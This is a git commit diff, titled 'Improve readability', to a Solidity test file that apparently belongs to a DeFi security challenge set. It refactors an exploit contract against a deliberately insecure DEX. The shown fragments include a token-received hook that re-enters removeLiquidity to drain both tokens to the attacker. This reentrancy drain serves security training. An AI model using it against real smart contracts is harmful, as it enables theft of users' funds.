Improve readability

minaminao · minaminao · commit d33c767d1097 · 2022-08-29T07:12:30.000+09:00
diff --git a/src/DeFiSecuritySummitStanford/InsecureDexLP/InsecureDexLPExploit.t.sol b/src/DeFiSecuritySummitStanford/InsecureDexLP/InsecureDexLPExploit.t.sol
@@ -34,7 +34,7 @@ contract InsecureDexLPExploitTest is Test {
         InsecureDexLPExploit exploit = new InsecureDexLPExploit();
         token0.transfer(address(exploit), 1 ether);
         token1.transfer(address(exploit), 1 ether);
-        exploit.exploit(target, token0, token1);
+        exploit.exploit(target);
 
         vm.stopPrank();
         assertEq(token0.balanceOf(playerAddress), 10 ether, "Player should have 10 ether of token0");
@@ -48,8 +48,12 @@ contract InsecureDexLPExploit {
     uint256 totalRecieved = 0;
     bool underExploit = false;
 
-    function exploit(InsecureDexLP target, InSecureumToken token0, SimpleERC223Token token1) public {
+    function exploit(InsecureDexLP target) external {
         underExploit = true;
+
+        IERC20 token0 = target.token0();
+        IERC20 token1 = target.token1();
+
         token0.approve(address(target), type(uint256).max);
         token1.approve(address(target), type(uint256).max);
 
@@ -58,6 +62,7 @@ contract InsecureDexLPExploit {
 
         token0.transfer(msg.sender, 10 ether);
         token1.transfer(msg.sender, 10 ether);
+
         underExploit = false;
     }
 
@@ -66,8 +71,8 @@ contract InsecureDexLPExploit {
             return;
         }
         totalRecieved += amount;
-        InsecureDexLP target = InsecureDexLP(from);
         if (totalRecieved < 10 ether) {
+            InsecureDexLP target = InsecureDexLP(from);
             target.removeLiquidity(target.balanceOf(address(this)));
         }
     }
